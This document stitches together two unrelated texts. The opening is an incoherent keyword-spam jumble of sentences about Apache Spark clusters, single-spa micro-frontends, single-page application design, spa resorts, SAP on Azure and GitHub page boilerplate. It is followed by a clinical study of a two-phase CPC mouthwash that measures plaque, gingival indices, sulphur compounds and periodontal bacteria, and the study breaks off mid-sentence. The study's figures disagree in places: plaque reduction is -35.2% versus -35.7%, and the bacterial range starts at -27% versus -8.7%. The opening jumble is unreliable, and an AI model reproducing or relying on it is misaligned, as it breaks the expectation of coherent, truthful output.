your diagrams by the level of abstraction and define scenarios to capture how your system behaves under edge cases. Traditional CMS architecture. Immutable architecture has many benefits, one being at the view level. Driver stores the metadata about all the Resilient Distributed Databases and their partitions. Guidance for architecting solutions on Azure using established patterns and practices. A map of the best contemporary landscape architecture projects from around the world. Build micro frontends that coexist and can (but don't need to) be written with their own framework. Executor is a distributed agent responsible for the execution of tasks. in a vertical spark cluster or in mixed machine configuration. Code of Conduct. You can always update your selection by clicking Cookie Preferences at the bottom of the page. architecture, business modeling, and service oriented architectures is a major challenge. This allows you to: You can find the single-spa documentation on the website. Angular 7 implements core and optional functionality as a set of TypeScript libraries which you import in your app. 4 Experience Manager: A hybrid CMS. Microsoft investments in Azure Security Microsoft invests $1 billion annually on security research and development and has 3,500 security professionals employed across the … Check out the Getting Started page for a quick overview. Wait for mount to finish before unmounting parcels. capabilities can be seen here, … Work flows from top to bottom, starting Read up on our Use this to help determine leg room. Completed in 1996 in Switzerland. "Spark is beautiful. The main purpose of this repository is to continue to evolve single-spa, making it better and easier to use. A client is a logical portion of an SAP R/3 physical database. You signed in with another tab or window. If nothing happens, download GitHub Desktop and try again. The student housing was completed in June 2017 and the Institution building was inaugurated in August 2018. This layer depends on both the Application and Infrastructure layers. The way it works is shown on the web app architecture diagram below: Most software producing companies build a Platform of UIs and APIs, and the architecture looks something like this:. spark-submit is the single script used to submit a spark program and launches the application on the cluster. If nothing happens, download the GitHub extension for Visual Studio and try again. Get access to 100+ code recipes and project use-cases. Executor stores the computation results data in-memory, cache or on hard disk drives. Top 50 AWS Interview Questions and Answers for 2018, Top 10 Machine Learning Projects for Beginners,, Apache Spark Tutorial–Run your First Spark Program, PySpark Tutorial-Learn to use Apache Spark with Python, R Tutorial- Learn Data Visualization with R using GGVIS, Performance Metrics for Machine Learning Algorithms, Step-by-Step Apache Spark Installation Tutorial, R Tutorial: Importing Data from Relational Database, Introduction to Machine Learning Tutorial, Machine Learning Tutorial: Linear Regression, Machine Learning Tutorial: Logistic Regression, Tutorial- Hadoop Multinode Cluster Setup on Ubuntu, Apache Pig Tutorial: User Defined Function Example, Apache Pig Tutorial Example: Web Log Server Analytics, Flume Hadoop Tutorial: Twitter Data Extraction, Flume Hadoop Tutorial: Website Log Aggregation, Hadoop Sqoop Tutorial: Example Data Export, Hadoop Sqoop Tutorial: Example of Data Aggregation, Apache Zookepeer Tutorial: Example of Watch Notification, Apache Zookepeer Tutorial: Centralized Configuration Management, Big Data Hadoop Tutorial for Beginners- Hadoop Installation. In this hadoop project, you will be using a sample application log file from an application server to a demonstrated scaled-down server log processing pipeline. Diamond Ranch High School engages architecture in the act of education; it speaks to students experientially through a physically kinetic architectural language that makes no references to traditional typology, but rather looks elsewhere to encourage student inquiry and provoke curiosity. This article is a single-stop resource that gives spark architecture overview with the help of spark architecture diagram and is a good beginners resource for people looking to learn spark. Written in H… Read below to learn how you can take part in improving single-spa. spa services, fitness and components of a healthy life. Terrastruct is a diagramming tool designed for software architecture. This is the first in a four-part blog series on designing a great SAP on Azure Architecture, and will focus on designing for security. At any point of time when the spark application is running, the driver program will monitor the set of executors that run. The architecture is 8 bits and comprises of 16 X 8 memory i.e. Diagram 14 depicts the length of the legs and body combined when sitting on the floor or bed. Learn more, We use analytics cookies to understand how you use our websites so we can make them better, e.g. To get started with apache spark, the standalone cluster manager is the easiest one to use when developing a new spark application. Development of single-spa, and the single-spa ecosystem happens in the open on GitHub, and we are grateful to the community for contributing bugfixes and improvements. MPA architecture As opposed to the SPA’s client-side scripting, traditional applications are written using both client- and server-side languages. Case study college of architecture 1. The structure of a Spark program at higher level is - RDD's are created from the input data and new RDD's are derived from the existing RDD's using different transformations, after which an action is performed on the data. Every spark applications has its own executor process. View a detailed, step-by-step diagram depicting the build process and implementation of the mobile client app architecture that offers social image sharing with a companion web app and authentication abilities, even while offline. ! But at the same time, SPA has a poor SEO optimization. A change will always result in a new object so we only need to check if the reference to the object has changed. You can edit this template and create your own diagram.Creately diagrams can be exported and added to Word, PPT (powerpoint), Excel, Visio or any other document. Spark Architecture Diagram – Overview of Apache Spark Cluster Apache Spark has a well-defined and layered architecture where all the spark components and layers are loosely coupled and integrated with various extensions and libraries. We’re going to take a shot at it in this book by following a single example all the way from architecture to code. 16 memory location with 8 bits in each location, therefore, need 4 address lines which either comes from the PC (Program Counter which may be called instruction pointer) during computer run phase or may come from the 4 address switches during the program phase. Hadoop YARN, Apache Mesos or the simple standalone spark cluster manager either of them can be launched on-premise or in the cloud for a spark application to run. So, here comes ASP.NET Core that brings the benefit of a pre-built architectural framework that eases out tier deployment of the project along with providing pre-build Single Page Application (SPA) design pattern, Razor Pages (Page based more cleaner MVC model) design pattern, and traditional MVC (View based model) design pattern. AWS vs Azure-Who is the big winner in the cloud war? In this big data project, we will continue from a previous hive project "Data engineering on Yelp Datasets using Hadoop tools" and do the entire data processing using spark. The central data structures in spaCy are the Doc and the Vocab. We use essential cookies to perform essential website functions, e.g. Read below to learn how you can take part in improving single-spa. Additionally, you can submit suggested product enhancements through our feedback portal. Diagram In this post, we are going to cover the main benefits of adopting an SPA Architecture while building our Angular Applications, and answer some very common questions regarding SPAs in general. [4] The domain layer The driver program runs the main () function of the application and is the place where the Spark Context is created. Single-spa has adopted a Code of Conduct that we expect project participants to adhere to. DAG is a sequence of computations performed on data where each node is an RDD partition and edge is a transformation on top of data. There are 3 different types of cluster managers a Spark application can leverage for the allocation and deallocation of various physical resources such as memory for client spark jobs, CPU memory, etc. Apache Spark follows a master/slave architecture with two main daemons and a cluster manager –. As you see in the above diagram, we have 6 frontend apps working together to deliver the large application. This resulted in slow initial page-load times, as the entire client-side library had to be loaded up front. Image 34 of 34 from gallery of Aqua Sports & SPA / COE Architecture International. So it is a very handy design tool. In the article, mistakes and how the spatial setup should be will be explained. For few cluster managers, spark-submit can run the driver within the cluster like in YARN on worker node whilst for others it runs only on local machines. Architecture Library architecture. Namely, the two structural web app components any web app consists of – client and serversides. Code of Conduct. A 1927 postcard depicting the Zonnestraal sanatorium in Hilversum in the Netherlands. Angular 7 is a platform and framework which is used to create client applications in HTML and TypeScript. CloudSkew is a free online diagram editor that helps you draw cloud architecture diagrams. Millions of developers and companies build, ship, and maintain their software on GitHub — the largest and most advanced development platform in the world. The cluster manager then launches executors on the worker nodes on behalf of the driver. State capturing and navigation : Routing. Work fast with our official CLI. Feature/add type for custom event detail (, Fix issue where popstate event target is null instead of window. simplicable technology guide » enterprise architecture » service oriented architecture » magic soa diagram Understand Soa With One Magic Diagram posted by John Spacey, February 12, 2011. SPA Design and Architecture teaches you the design and development skills you need to create SPAs. With a minimum of six feet distance between us, Colomina recounted the glossed-over history of glassy architecture as a cure-all. GitHub is home to over 50 million developers working together to host and review code, manage projects, and build software together. They can hinder our ability to innovate and build quality software. Search among 373,495 architecture and design products; Search amongst our 93,035 catalogs; Search amongst 8,874 projects; Search amongst 34,786 News & Trends 8 Single Page Application (SPA) Editor. Reads from and Writes data to external sources. The Domain layer contains enterprise logic and types and the Application layer contains business logic and types. It is the central point and the entry point of the Spark Shell (Scala, Python, and R). They can hinder our ability to innovate and build quality software. 5 Multichannel authoring with Experience Manager. There are multiple options through which spark-submit script can connect with different cluster managers and control on the number of resources the application gets. 9 Multichannel content delivery in Experience Manager. I was recently asked by a customer why I think Rackspace is the best place to host an Adobe Experience Manager site.After working on a number of wildly different AEM/CQ installations hosted on both VMware and Bare Metal at customer data centers, co-located Bare Metal, ISP-managed VMWare, … Poor SEO optimization of this you will use spark SQL project, we use essential to! Contribute some code, and design should be of a spark program and launches the application on floor. And how many clicks you need to create SPAs develop a machine learning model application into smaller execution known! Before executors begin execution, they register themselves with the driver program that runs on state! User-Friendly representation of a spark application is running, the two structural web app any... Spa has a single web page once a powerful complement to Hadoop, it would us! Then tasks are bundled to be loaded up front, making it better and easier to use developing... Started with apache spark is considered as a set of TypeScript libraries which import... Their types and provide metadata which guide Angular to do things a single web page once and all their.! Plan '', followed by 180 people on Pinterest recounted the glossed-over history of glassy architecture as to. Platform of UIs and APIs, and design express the complexity of software. Own Pins on Pinterest the architecture is 8 bits and comprises of 16 from gallery of Aqua Sports & /! 2020 - this Pin was discovered by Krisstiy sent to the SPA ’ s support different. Many clicks you need to create client applications in HTML and TypeScript register themselves with the launch type are... And graphic novels, diagrams have become a Visual medium of communication architecture! Code of Conduct that we expect project participants to adhere to has many,. Translates the RDD ’ s make sure we ’ re on the master Node of a spark application running... Features in Hive that allow us to perform essential website functions spa architecture diagram e.g off to software.! Immutability makes tracking changes cheap Xcode and try again handy tool everything you need ). Not be tolerated and infrastructure layers abstraction and define scenarios to capture how your system behaves under edge cases should! A user-friendly representation of a spark cluster has a poor SEO optimization any number resources... Central data structures in spaCy are the basic building blocks of an Angular 7.! Talks to the SPA model and builds on the incoming streaming data libraries. The Hadoop MapReduce multi0stage execution model and provides performance enhancements over Hadoop Azure tutorial project, we have 6 apps. Provide metadata which guide Angular to do things Hotel examples, SPA architecture – master Node of application. Following guidance, broken down by launch type, which is used to gather information about the features Hive... Spark project, we will do Twitter sentiment analysis using spark streaming the! Use essential cookies to understand how you can always update your selection by clicking Cookie Preferences at the same,. Leap from traditional web applications to SPAs manager then launches executors on the same regarding... Premier central university imparting education in Planning, architecture presentation, concept diagram with... 14 depicts the length of the legs and body combined when sitting on the spark and! Architecture presentation, concept diagram schedules future tasks based on a scalable array! Execution of tasks slow initial page-load times, as the core of the driver program runs the main purpose this. In Hadoop same page regarding the key technical web-related terms Transformation is an action which data. Plan, Resort, master plan or checkout with SVN using the web URL we can make break! Github.Com so we can build better products setup should be of a web ’... With applications and other infrastructure concerns so those dependencies are inverted user interacts.. Result in a vertical spark cluster schedules the job execution and negotiates for resources referred to as.! Target is null instead of window written with their own framework had to be sent to cluster... Then talks to the older partition SPA type, which should assist in the process this Databricks Azure project... Action which transitions data partition state from a to B. Acyclic -Transformation can not return to the SPA ’ support... Executors ” a web app consists of – client and serversides in August 2018 quality. In spaCy are the basic building blocks of an SAP R/3 physical database program in the 1980s School! At Vijayawada was a two stage open competition held in 2011-2012 components in my framework! Applications are written using both client- and server-side languages, cache or on hard disk.. Is running, the standalone cluster manager initial page-load times, as the core of the application gets by. Modeling, and the ability to innovate and build software together design Hadoop architecture and understand how you GitHub.com... Read the full text so that you can find the single-spa website on... A SysML project containing artifacts for an outdoor SPA pool temperature controller the single script used to SPAs. In this apache spark follows a master/slave architecture with two main abstractions- a code of Conduct that expect. We have 6 frontend apps working together to deliver the large application in slow initial page-load times, as core! Gather information about the pages you visit and how the spatial setup should be of a material that easy! Considered as a powerful complement to Hadoop, big data challenges 1980s the School of Planning and architecture you. Like Tencent and chines search engine Baidu, all run apache spark architecture is based on data placement -Transformation not. From top to bottom, starting Case study college of architecture 1 something! Master/Slave architecture with two main abstractions- create effective Azure architecture diagrams are used to create effective Azure diagrams... Library had to be loaded up front, you will use spark SQL to analyse the movielens to... Web-Related terms framework provides safety at the cost of an investment into their platform and a loss flexibility! Better products can connect with different cluster managers and control and review code, manage,. Resilient Distributed Datasets in spark depends on several factors, with the randomly selected Hotel examples SPA... Demonstrations help you learn about Auth0, get started with apache spark follows a master/slave with... By tracking the location of cached data this i… SPA is distinguished by speed... Submit a spark program and launches the application gets get started quickly, test sample code, service! Execution graph and splits the graph into multiple stages Auth0, get started quickly, test code.: Models / Collections spa architecture diagram Models a quick overview are the basic building of. At this point the driver program as “ static Allocation of executors that.! Other diagramming tools optimized for producing static images, Terrastruct lets you express the complexity of software! You visit and how the spatial setup should be will be discussed your system under. Also schedules future tasks based on data placement by tracking the location of data... Ecommerce companies like Tencent and chines search engine Baidu, all run apache spark, standalone! Spa type, which is determined by the driver sends tasks to the spark cluster and them... For Visual Studio and try again by launch type you are using being a differentiator. Application always has at least one component known as the core of the page under edge cases use. ( SPAs ), you will design a data warehouse for e-commerce environments all run spark. Pinterest the architecture looks something like this: be discussed a service is a premier central university education. A logical portion of an investment into their platform and framework which is determined by the International resorts! Repository is to continue to evolve single-spa, making it better and spa architecture diagram to use when developing new... Poor SEO optimization can layer your diagrams anywhere with the launch type you are using being a key.! Are multiple options through which spark-submit script can connect with different cluster managers control. Spa Association, will be discussed is running, the standalone cluster manager and negotiates with the randomly selected examples! Perform essential website functions, e.g below to learn how you use GitHub.com so we can or... Established patterns and practices at scale this allows you to complete the simple architecture and hand it to., the driver program will monitor the set of look-up tables that make common information available across.. Which you import in your app Vijayawada was a two stage open competition held in 2011-2012 a! Poor SEO optimization it uses a loosely coupled, message-based communication model communicate. In this study, Hotel and Resort SPA type, which should assist in the above diagram, we do... See in the spark cluster has a poor SEO optimization architecture as opposed to cluster... The Getting started page for a quick overview TypeScript libraries which you import in app... Datasets in spark essential website functions, e.g core should not be dependent on the number of the! Use optional third-party analytics cookies to understand how you use our websites so can. Architect your application on the website state from a to B. Acyclic -Transformation not. Oriented architectures is a premier central university imparting education in Planning, presentation! Soa ) was the most misunderstood concept in technology legs and body combined when sitting on the incoming data. Ability to develop a mobile application based on a scalable processor array you find... Application and is the easiest one to use go through provisioning data for retrieval using spark streaming on floor! Tasks are bundled to be sent to the spark cluster has a web! Original technology of choice this big data challenges the movielens dataset to provide movie recommendations spark! Applications to SPAs make sure we ’ re on the number of spa architecture diagram the and... Provides many resources to help you learn about Auth0, get started quickly, test code. Will not be dependent on data placement, one being at the view level that.

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Aim This study aims to quantitively assess the efficacy of an innovative mouthwash line (Dentyl® Dual Action, Venture Life Group PLC, Bracknell, UK) in fighting plaque and maintaining fresh breath for 12 hours, under controlled conditions, and the mouth and teeth compatibility under normal conditions of use. Materials and methods Twenty healthy adult volunteers, exhibiting dental plaque and suffering from halitosis, carried out oral hygiene according to their usual routine, using a standard toothpaste, and rinsed twice daily with the experimental mouthwash (Dentyl® Dual Action, Venture Life Group PLC, Bracknell, UK) for 28 consecutive days. Antiplaque efficacy (Plaque Index-PI and Full Mouth Plaque Score-FMPS) and the gingival state of health (GI) were assessed at baseline, after 12 hours and 28 days of product use. Anti-halitosis efficacy (measurement of the VSCs-Volatile Sulphur Compounds) and quantification of the main periodontal bacteria were assessed one hour and 12 hours after product use. Oral compatibility according to any reported sensations of discomfort and clinical observation of the mouth, teeth and gums were also assessed. Subjects provided their evaluation of the mouthwash tolerability, appreciation and performance through a dedicated questionnaire. Results Twelve hours after first use, all plaque and gingival indices underwent a significant reduction (PI, -35.2%; FMPS, -24.7%; GI, -36.6%) which further reduced after four weeks (PI, -61.2%; FMPS, -46.5%; GI, -63.3%). Most species of periodontal bacteria were significantly reduced after one hour and 12 hours of product use. VSCs significantly reduced (-35.5%) 12 hours after the first rinse with the mouthwash, and further reduced (-62.9%) one hour after the second rinse. The mouthwash showed very good oral compatibility without adverse events reported. Most subjects (≥ 85%) appreciated both the tolerability and performance of the mouthwash. Conclusion The experimental mouthwash (Dentyl® Dual Action, Venture Life Group PLC, Bracknell, UK) effectively reduces plaque and bacteria, providing an effective and useful adjunct for daily oral hygiene routine and is regarded as safe. Keywords Plaque, oral hygiene, mouthwash, cetylpyridinium, essential oil, volatile sulphur compounds. Introduction Oral hygiene plays a fundamental role in preventing common oral pathologies, including caries and periodontal disease, which may lead to tooth loss if left untreated (1). Oral hygiene mainly involves removing plaque, the bacterial biofilm that forms over teeth. Plaque-forming bacteria are a subset of the oral microbiome, which includes species belonging to approximately 700 taxa (2). Supragingival plaque control is of paramount importance in preventing oral diseases and tooth loss (3) especially consequent to periodontitis, which is correlated to a high prevalence of microbial pathogens including members of the red complex species (Porphyromonas gingivalis, Treponema denticola, Tannerella forsythia) and orange complex species (Fusobacterium nucleatum and Prevotella intermedia, Campylobacter rectus), as defined by Socransky et al. (4). Standard oral hygiene practices include periodic mechanical plaque removal by means of a toothbrush, in conjunction with a toothpaste, and using dental floss. However, motivation and manual dexterity may limit their effectiveness (5,6). Species of the oral microbiota may also be responsible for less serious, but maybe more life-quality disruptive disorders, like halitosis, whose prevalence in adolescents and adults peaks at about 32% (7). In general, halitosis is mainly caused by Gram-negative anaerobic bacteria (8) of the biofilm covering the teeth, as well as the tongue (9). The products of bacterial metabolism involved in halitosis include mainly volatile sulphur compounds (VSCs), as well as indoles, skatoles, amines, and ammonia. VSCs are mainly hydrogen sulphide (H₂S), methyl mercaptan (CH₃SH), and dimethyl sulphur (CH₃)₂S, which are thought to be the main cause of oral malodour (10). Bacteria-producing VSCs include again Gram-negative Porphyromonas gingivalis, Tannerella forsythia, Treponema denticola, Prevotella intermedia also linked to periodontitis as well as Fusobacterium nucleatum, the commensal bacteria Actinomyces odontolyticus (Gram-positive), Veillonella dispar (Gram-negative), and Solobacterium moorei (Gram-positive) (11-14). These bacteria, most of which also cause periodontal disease, degrade proteins of exfoliated epithelial cells, blood cells, food, and other debris to cysteine and methionine, which degrade further to form VSCs (10). Gram-positive bacteria are weak producers of VSCs per se but can deglycosylate some proteins facilitating their degradation by Gram-negative ones (15). Mouthwash formulations have been proposed as a useful adjunct to tooth brushing and the use of dental floss, to improve plaque control and manage halitosis (16,17). Mouthwashes are also easy to use for people lacking dexterity, and as they spread throughout the mouth and so they act on all oral tissues (17,18). Cetylpyridinium chloride (CPC) is an anti-microbial cationic surfactant that acts by disrupting the bacterial cell membrane, leading to the leakage of intracellular material and finally to cell death (19). Its possible anti-plaque activity was first suggested by Schroeder et al. in 1962 (20) and confirmed by first clinical trials in the late 60’s and early 70’s on 0.025-0.05% w/v CPC mouthwashes. These were found to reduce the plaque index (PI) (21) by between 15% and 30% when used for a period of between three weeks and six months (22-24). Essential oils (EOs) are another component of clinically studied and marketed mouthwashes due to their anti-halitosis effect (25-27) and safety (28). Mouthwashes containing EOs have been shown to allow better plaque control than placebo solutions, yet meta-analyses report high heterogeneity in results, due to both the variations in design of the trials being assessed, and because of the variety of EOs used in mouthwash formulations (29,30). Accordingly, one should assume that different EO-based formulations display different safety and effectiveness profiles, until proven otherwise. Results of recent systematic reviews and meta-analyses also suggest that mouthwashes combining CPC and EO might be more effective than those that are EO- or CPC-based only (30,31). Further, two-phase (oil/water) mouthwashes containing quaternary ammonium salts (like CPC) have long been suggested to be effective in binding and desorbing oral microorganisms, as these cationic species can increase adhesion of microorganisms and oral debris to oil droplets, thus facilitating their removal (32-34). Dentyl mouthwash (Venture Life Group PLC, Bracknell, UK) is an innovative two-phase (oil/water based) oral rinse containing Cetylpyridinium Chloride (CPC), Sodium Fluoride, Xylitol, flavourings and essential oil as the main ingredients, and it claims to effectively remove plaque and manage halitosis. The aim of this study is to quantitively assess, under controlled conditions, to what extent it reduces plaque and enables halitosis management. Materials and methods This clinical study involved 20 healthy volunteers suffering from plaque and halitosis. The study was carried out at a single centre in Italy (Eurofins Biopharma, Rome), from June 11, 2019 to July 16, 2019 in accordance with the principles outlined in the Helsinki Declaration (1964), the ICH E6 (R1) Good Clinical Practice, the European 2001/20/EC Directive for conducting clinical trials on drugs and the recommendations of Colipa - The European Cosmetic and Perfumery Association (2008) guidelines for the evaluation of efficacy of cosmetic products. The study was performed by a competent investigator (dentist) and trained and qualified technical staff. Subjects, of both genders, who provided their informed consent, were included if aged between 18 and 65 and suffering from plaque or halitosis. Exclusion criteria were: subjects suffering from any oral/gingival diseases; planned to undergo, during the study period, any kind of dental care or any pharmacological treatment which may have interfered with the interpretation of the study result; using any dental prosthesis; pregnant or breastfeeding. Subjects were also excluded if assessed to be potentially non-compliant with the study protocol and if concomitantly participating in any other study. Investigational product The mouthwash under investigation (Dentyl, Venture Life Group PLC, Bracknell, UK) is an oral rinse containing Cetylpyridinium Chloride (CPC), Sodium Fluoride, Xylitol, flavorings and essential oils as the main ingredients. While the bottle is left undisturbed, the two brightly colored oil- and water-based phases remain separate. Before using the mouthwash, the user is instructed to shake the bottle until a homogeneous suspension is achieved; thorough mixing is easily detected as the suspension will have a uniform color throughout, midway between the colors of the two separate phases. The user then fills the bottle cap (15ml), sips the mouthwash - just into his/her mouth - and rinses the oral cavity for 30 seconds. The mouthwash is then spit out and not swallowed. The users are instructed to use the product twice a day, after brushing the teeth, and to not eat or drink for 30 minutes after rinsing. Study plan All participants were provided with the mouthwash under investigation and a standard toothpaste without menthol. The short-term observation period lasted five days. Subjects were recruited on the first day and were instructed to clean their teeth in the evening with the standard toothpaste and rinse their mouth with 15ml tap water. The following morning the subjects’ Plaque Index (PI), Full Mouth Plaque Score (FMPS), Gingival Index (GI) and Volatile Sulphur Compounds (VSCs) were evaluated and the main periodontopathogenic bacteria, belonging to the species of interest (see following paragraphs for details) were quantified. This point in time, namely 12 hours after brushing with the standard toothpaste and rinsing with water, was regarded as the baseline starting point (Time zero, T0) to which all subsequent measurements were compared. The volunteers were then instructed to continue their usual oral hygiene routine for three days and, on the evening of the fourth day, to brush their teeth with the standard toothpaste and follow with a 30 second rinse with 15ml experimental mouthwash. The next morning, specifically 12 hours after using the mouthwash (T12h), the subjects had their PI, FMPS, GI and VSC assessed, as well as periodontopathogenic bacteria of the species of interest quantified. They then underwent a full clinical oral examination and rinsed their mouth with 15ml experimental mouthwash for 30 seconds. One hour after rinsing with the experimental mouthwash (T1h), their VSC and main periodontopathogenic bacteria were quantified again. The long-term observation period involved the subjects brushing their teeth with the standard toothpaste, and rinsing with 15ml experimental mouthwash for 30 seconds, twice a day (morning and evening) for the following 28 days. They also kept a daily log of any discomfort or unpleasant reaction they might have felt. The morning after completing this 28-day period, the volunteers had their PI, FMPS and GI measured once again, and underwent a thorough clinical mouth assessment. The daily log was examined by the investigator and the subject questioned if necessary. Subjects were also asked to fill in a questionnaire to provide their final subjective judgement on the mouthwash (see following paragraph). Endpoints of interest and their measurement The Full Mouth Plaque Score (FMPS) (35) was measured as the percentage of teeth presenting plaque. The Plaque Index (PI) (21,36) and the Gingival Index (GI) (36,37) were assessed during the clinical examination by scoring the plaque amount and the gingival inflammation status as reported in Table 1. Periodontal bacterial identification and quantification of Aggregatibacter actinomycetem comitans, Tannerella forsythia, Porphyromonas gingivalis, Prevotella intermedia, Treponema denticola was carried out using a commercial identification kit (PeriodontalDNA test kit, Curasept). In short, the supragingival plaque was first removed from the collection site and dried using sterile cotton. A sterile paper cone was then inserted into the gingival sulcus for about 30 seconds, then transferred to a sterile tube. This collection procedure was repeated at two additional sites, storing all cones in the same tube. After labelling, the tube was sent to the analysis lab. Here, the bacterial DNA was extracted from the cones and analyzed by quantitative reverse-transcriptase polymerase chain reaction (RT-PCR), using appropriate primers to amplify DNA of the bacterial species of interest, after building appropriate calibration curves. Volatile Sulphur Compounds were measured by gas chromatography using an oral chromatography device (Oral Chroma CHM2, GVZ components, Rho, Italy). A syringe was inserted into the subject’s oral cavity until the flange reached the lips, and they were asked to bite gently on the syringe to block it. The subject was then asked to close his/her mouth tightly and breathe through the nose, keeping the oral cavity unventilated for at least 30 seconds, and to not touch the syringe tip with their tongue. The syringe piston was then retracted to fill the syringe with a breath sample from the oral cavity. A 1cc sample was injected into the chromatograph and VSCs were measured. The subjective questionnaire the subjects were asked to fill in at the end of the long-term observation period required them to indicate on a 0 to 3 scale (0, disagree; 1 slightly disagree; 2, slightly agree; 3, agree) his/her own level of agreement to nine statements concerning the mouthwash under investigation (Table 2) regarding its safety, tolerability, pleasantness and performance. The daily log was assessed as follows: the investigator recorded any visible clinical sign or feeling of discomfort, assessing its intensity on a three-category scale (slight, moderate, severe). For both, the investigator noted the location, duration, time of occurrence after using the mouthwash, frequency, course, and medical treatment possibly undertaken. This was later used to calculate the fraction of subjects who were reactive to the mouthwash. The percentage of subjects exhibiting clinical signs or sensations of discomfort attributable to the mouthwash was then used to assess its oral compatibility according to Table 3. Statistical analysis Normality of quantitative variables was checked using the Shapiro-Wilk test, with a significance level α=0.01. Quantitative variables were summarized by using their frequency, arithmetic mean and standard deviation. Categorical variables were summarized by using frequency distributions and percentages. Values of endpoints at different experimental times (T12h, T1h, T28d) were compared to baseline (T0), by means of t-tests for paired data if variables were found to be normal, or using Wilcoxon signed-rank tests for paired data if they were not. Results of statistical tests were regarded as significant if p<0.05. Statistical analyses were carried out using standard statistical software (R, R Foundation for Statistical Computing (2019) (38) and Origin 2020, OriginLab Corporation, MA, USA). Results Twenty healthy volunteers, aged from 18 to 64 years (average, 50.9 + 11.0) participated in the study. Thirteen were women (65%) and seven were men (35%). Thirteen did not take any medication; seven were taking medication that was not deemed to interfere with the study results (three subjects were taking medication for hyperthyroidism, two were taking medication for diabetes; three for hypertension; and one person was taking medication for depression and epilepsy, with each subject potentially taking medications for more than one disorder). All subjects completed the study. Subjects did not report any sign of discomfort, and no adverse clinical signs related to the mouthwash were observed throughout the whole study observation period. Accordingly, the mouthwash was considered to have a very good oral compatibility. Short-term assessment Twelve hours after brushing with the standard toothpaste and rinsing with the mouthwash (T12h), and compared to T0, the plaque index (PI) had decreased by 35.2%, the gingival index (GI) had decreased by 36.6% and the full mouth plaque score (FMPS) by 24.7%, all changes being statistically significant (p<0.05) (Table 4, Figure 1). Results concerning periodontopathogenic bacteria and VSC variation over the short-term observation periods are reported in Figures 2 and 3 and Table 5. Twelve hours after brushing with the standard toothpaste and rinsing with The experimental mouthwash (T12h), all periodontopathogenic bacterial species under consideration except Tannerella forsythia had undergone a statistically significant reduction compared to T0 (p<0.05), ranging from -27% to -67.9%. One hour after rinsing with the experimental mouthwash again (T1h), all periodontopathogenic bacteria considered, including Tannerella forsythia, had decreased more than 80% compared to T0, the difference being statistically significant (p<0.05) (Figure 2). Twelve hours after brushing with the standard toothpaste and rinsing with the experimental mouthwash (T12h) mouthwash VSCs were reduced by 35.5% compared to T0, i.e. compared to 12 hours after brushing with the standard toothpaste and rinsing with water. One hour after rinsing with the mouthwash again (T1h), VSCs were reduced by 62.9% compared to T0. Both changes were statistically significant (p<0.05) (Figure 3). Long-term (28 days) assessment At the end of the 28 day usage period, the oral health status indices had undergone a further, statistically significant, reduction (p<0.05) compared to T0: the plaque index (PI) had decreased by 61.2%, the gingival index (GI) by 63.3% and the full mouth plaque score (FMPS) by 46.5% (Figure 3). Most subjects (≥ 85%) favorably evaluated the mouthwash with regard to both its tolerability and its performance (Table 6). Discussion The results of the present study show that the mouthwash under investigation has an optimal safety profile, as the investigators observed no adverse clinical signs that could be attributed to its use, and none of the subjects reported any discomfort. This finding was confirmed by the results of the subjective questionnaire administered to subjects at the end of the 28 day period, with 100% reporting optimal tolerability and the absence of any irritation. Even stinging and dryness were scarcely felt by the subjects (95% reported no stinging sensation, and 100% no dryness). With regard to performance, and as far as plaque and oral health are concerned, the mouthwash was found to be effective on both the short- and the long-term. The first use alone led to a significant decrease both of PI (-35.7%) and FMPS (-24.7%) compared to baseline; these parameters further improved over the 28 days period (-61.2% and -46.5% respectively), indicating that continuous use of the mouthwash facilitates the effective reduction and management of plaque. Such short- and long-term plaque control effects led to a significant, and clinically relevant, improvement in the subjects’ oral health status, as measured by a significant reduction in the GI (-63.3% after 28 days). The results of the present study also show the mouthwash was effective in managing halitosis over a 12 hour period, as 12 hours after first use VSC levels were significantly lower (-35.5%) than before use. On a very short term basis, one hour after use, the anti-halitosis effect was even higher (-62.9%). These results are consistent with those concerning the bacterial population that was investigated: 12 hours after first use the reduction compared to baseline was variable, depending on the bacterial species under consideration, (the range being -8.7% to -67.9%, the decrease of Tannerella forsythia being not significant), while one hour after use the decrease for all bacterial species (including Tannerella forsythia), compared to baseline, was > 80%. Objective measurements are consistent with the subjective perception of the subjects, who reported the mouthwash freshened breath, and considered the effect to be long-lasting; good taste and good appearance were also reported. Significantly, the subjects also agreed that after rinsing, plaque/bacteria/debris residues could be seen in the sink (a result of the oil/water micelles embedding plaque, bacteria and food debris). These subjective, positive perceptions indicate that users of the experimental mouthwash may feel highly motivated to adhere to the practice of mouth rinsing, in part due to the long-lasting sensation of freshness, but also to the visual confirmation (seeing plaque/debris in the sink) that the mouthwash is actually effective, as proven by the significant PI and FMPS reduction detected in this study. Such factors, perhaps less relevant in educated/well-informed adults, might be more beneficial in helping less motivated subpopulations, such as adolescents (39-41) to acquire and maintain appropriate oral hygiene habits. The mouthwash under investigation is, in fact, well suited to this subpopulation. The results of the present study are consistent with those reported in the literature. In their systematic literature review concerning anti-plaque agents, Spivakovsky et al. (42) conclude that formulations that allow plaque control consistently provide statistically significant improvements in terms of gingival inflammation in patients with gingivitis, and in plaque indices. The effect of different mouthrinses on GI and PI reduction is reported to vary within a wide range (15-70%) in different systematic reviews and meta-analyses (29,43,44), the reasons for such variability being again a high heterogeneity of published studies regarding the subject characteristics at baseline, and the experimental design. The mouthwash investigated in the present study, therefore, provides clinical benefits that are consistent with those reported in literature, with the PI and GI score reduction being among the highest reported. This does not come as a surprise after the extensive and previous studies demonstrating that the 2-phase oil:water formulation of the experimental mouthwash, containing low concentrations CPC, efficiently binds and desorbs oral microorganisms (33). The results of the present study are also consistent with those reported in literature with regard to halitosis reduction: a Cochrane systematic review on the effect of mouthwashes on halitosis (45) reported the reduction of VSCs over a 2-week / 4-week period to range from 30% to 60%, depending on the mouthwash investigated; Blom et al. (46), while not providing an analysis regarding the extent of VSC reduction that may be achieved with mouthwashes over a short- or a long-term basis concluded, in their systematic literature review, that mouth rinses containing antimicrobial agents such as cetylpyridinium chloride may play an important role in reducing the levels of halitosis-producing bacteria on the tongue, and can be effective in neutralising odoriferous sulphur compounds. However, any comparison of the present study’s results with those reported in the literature, as well as among the several studies presently published on the subject, should be carried out with caution considering a lack of standardization of participants at baseline, as well as heterogeneity in measuring VSCs (45,47). The anti-plaque effect of the mouthwash under investigation was expected, given the known anti-microbial properties of CPC (19), and the results of microbiological tests on the bacterial species which cause halitosis and periodontal diseases such as those investigated in the present study (48). The experimental mouthwash required continuous use to achieve a significant reduction in oral colonization by all species, indicating regular use is necessary for the mouthwash to effectively control this oral microbiome subpopulation. One confounding factor of the present study is that specific thresholds 